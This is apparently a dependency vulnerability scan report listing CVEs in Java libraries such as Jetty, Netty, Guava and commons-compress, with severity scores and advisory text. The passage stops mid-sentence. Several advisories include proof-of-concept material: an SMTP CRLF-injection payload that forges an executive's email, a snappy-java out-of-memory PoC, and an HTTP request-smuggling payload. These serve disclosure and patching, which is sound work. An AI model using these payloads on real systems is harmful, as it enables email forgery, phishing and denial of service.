+ +In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. + +
+
+ +medium 5.8: CVE--2025--53864 Uncontrolled Recursion + + + + + + + + +
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.033%
EPSS Percentile9th percentile
+ +
Description +
+ +Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.13.0 (maven) + +pkg:maven/commons-io/commons-io@2.13.0
+high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
+ +
Description +
+ +Uncontrolled Resource Consumption vulnerability in Apache Commons IO. + +The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. + + +This issue affects Apache Commons IO: from 2.0 before 2.14.0. + +Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) + +pkg:maven/dnsjava/dnsjava@2.1.7
+high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity + + + + + + + + +
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.139%
EPSS Percentile35th percentile
+ +
Description +
+ +### Summary + +Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. + +### Details + +DNS Messages are not authenticated. They do not guarantee that + +- received RRs are authentic +- not received RRs do not exist +- all or any received records in a response relate to the request + +Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. +To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) + +1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases +2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) +3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. +4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. + +Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. + +dnsjava does not implement a comparable algorithm, and the provided APIs instead return either + +- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or +- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) + +If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can + +- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or +- completely exchange the relevant response records + +### Impact + +DNS(SEC) libraries are usually used as part of a larger security framework. +Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. +Here are three concrete examples of where this might be detrimental: + +- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. +- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. +- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. + +### Mitigations + +At this point, the following mitigations are recommended: + +- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). +- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. +- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) + +pkg:maven/commons-beanutils/commons-beanutils@1.9.4
+high 8.8: CVE--2025--48734 Improper Access Control + + + + + + + + +
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.048%
EPSS Percentile15th percentile
+ +
Description +
+ +Improper Access Control vulnerability in Apache Commons. + + + +A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. + + + + + +Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). +Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. + +This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils + + 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. + + +Users of the artifact org.apache.commons:commons-beanutils2 + + 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.189%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.23.4
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-handler@4.1.96.Final
+high 7.5: CVE--2025--24970 Improper Input Validation + + + + + + + + +
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
+ +
Description +
+ +### Impact +When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. + +### Workarounds +As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: + +``` +SslContext context = ...; +SslHandler handler = context.newHandler(....); +``` + +to: + +``` +SslContext context = ...; +SSLEngine engine = context.newEngine(....); +SslHandler handler = new SslHandler(engine, ....); +``` + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) + +pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
+high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
+ +
Description +
+ +### Summary + +snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. + +### Scope + +All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 + +### Details +While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. + +### PoC +Compile and run the following code: +``` +package org.example; +import org.xerial.snappy.SnappyInputStream; + +import java.io.*; + +public class Main { + + public static void main(String[] args) throws IOException { + byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; + SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); + byte[] out = new byte[50]; + try { + in.read(out); + } + catch (Exception ignored) { + } + } +} +``` + +### Impact +Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. + +### Credits +Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. + +We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) + +pkg:maven/io.airlift/aircompressor@0.25
+high 8.6: CVE--2024--36114 Out-of-bounds Read + + + + + + + + +
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
+ +
Description +
+ +### Summary +All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). + +### Details +When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. + +Users should update to Aircompressor 0.27 or newer where these issues have been fixed. + +### Impact +When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
+medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+ +medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile34th percentile
+ +
Description +
+ +If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. + +So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. + +
+
+ +low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
+ +
Description +
+ +If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. + +```java +if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) +execCmd = "\"" + execCmd + "\""; +``` + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common 